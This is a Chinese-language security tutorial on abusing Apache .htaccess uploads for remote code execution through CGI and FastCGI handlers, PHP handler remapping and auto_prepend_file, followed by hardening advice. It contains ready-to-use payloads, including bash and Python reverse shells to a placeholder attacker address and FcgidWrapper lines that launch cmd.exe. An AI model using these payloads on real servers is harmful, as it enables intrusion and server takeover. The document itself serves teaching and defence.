Apache中.htaccess文件利用的总结与新思路拓展
字数 1533 2025-08-18 11:39:08
Apache中.htaccess文件利用技术详解
一、Apache与PHP交互的三种方式
1. Module方式
- 最常见的方式
- 在httpd.conf中使用
LoadModule加载PHP模块 - 示例:
LoadModule php7_module modules/libphp7.so
2. CGI方式
- 传统CGI协议方式
- Apache通过CGI接口调用PHP解释器
- 每次请求都会启动新的PHP进程
3. FastCGI方式
- CGI的改进版本
- 使用持久化进程处理多个请求
- 常与PHP-FPM配合使用
- 性能优于传统CGI
二、CGI启动方式的RCE利用
利用条件
-
.htaccess文件能被解析
- 目录配置了
AllowOverride all或AllowOverride Options FileInfo - 需要
Require all granted权限
- 目录配置了
-
cgi_module被加载
- Apache配置中包含:
LoadModule cgi_module modules/mod_cgi.so且未被注释
- Apache配置中包含:
-
有目录的上传和写入权限
利用方法
-
上传.htaccess文件,内容如下:
Options ExecCGI AddHandler cgi-script .xxOptions ExecCGI:允许CGI执行AddHandler cgi-script .xx:将.xx后缀文件作为CGI程序解析
-
上传恶意CGI程序(poc.xx),Windows示例:
#!C:/Windows/System32/cmd.exe /c start calc.exe- 第一行指定解释器路径
- 需要使用新进程启动命令(因为CGI程序处理完成后会被关闭)
-
Linux环境下示例:
#!/bin/bash /bin/bash -i >& /dev/tcp/attacker_ip/port 0>&1或使用Python反弹shell:
#!/usr/bin/python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("attacker_ip",port)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
三、FastCGI启动方式的RCE利用
利用条件
-
.htaccess文件能被解析
AllowOverride all或AllowOverride Options FileInfo
-
mod_fcgid.so被加载
- Apache配置中包含:
LoadModule fcgid_module modules/mod_fcgid.so
- Apache配置中包含:
-
有目录的上传和写入权限
利用方法
-
上传.htaccess文件,内容如下:
Options +ExecCGI AddHandler fcgid-script .abc FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abcAddHandler可替换为AddTypeFcgidWrapper指定要执行的命令
-
上传任意内容的.abc文件
四、相对路径利用技巧
在FastCGI模式下可以使用相对路径:
- 起始点通常与
session.save_path变量值一致 - PHPStudy中默认路径:
\Extensions\tmp\tmp
示例
-
使.html文件使用PHP解析:
AddHandler fcgid-script .html FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html -
调用网站根目录的程序:
AddHandler fcgid-script .xx FcgidWrapper "WWW/localhost/calc.exe" .xx
五、其他常规利用方式
1. 将特定文件作为PHP解析
Module模式下:
AddType application/x-httpd-php .jpg
或使用FilesMatch:
<FilesMatch "test.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
2. 将.htaccess本身作为PHP解析
- 在.htaccess中写入PHP代码
- 需要服务器配置允许
3. 使用auto_prepend_file/auto_append_file
在.htaccess中:
php_value auto_prepend_file "/path/to/header.php"
php_value auto_append_file "/path/to/footer.php"
或创建.user.ini文件(PHP 5.3.0+):
auto_prepend_file = 123.gif
六、防御建议
-
限制AllowOverride权限:
- 生产环境建议设置为
AllowOverride None - 必须使用时限制为最小必要权限
- 生产环境建议设置为
-
禁用不必要的模块:
- 如无必要,禁用cgi_module和fcgid_module
-
严格的文件上传控制:
- 限制上传文件类型
- 禁止上传.htaccess和.user.ini文件
-
目录权限控制:
- Web目录不应有写入权限
- 如有必要,限制为特定目录
-
定期安全审计:
- 检查服务器配置
- 监控异常文件
通过以上技术手段,攻击者可以在满足条件的情况下利用.htaccess文件实现远程代码执行。管理员应充分了解这些攻击手法并采取相应防御措施。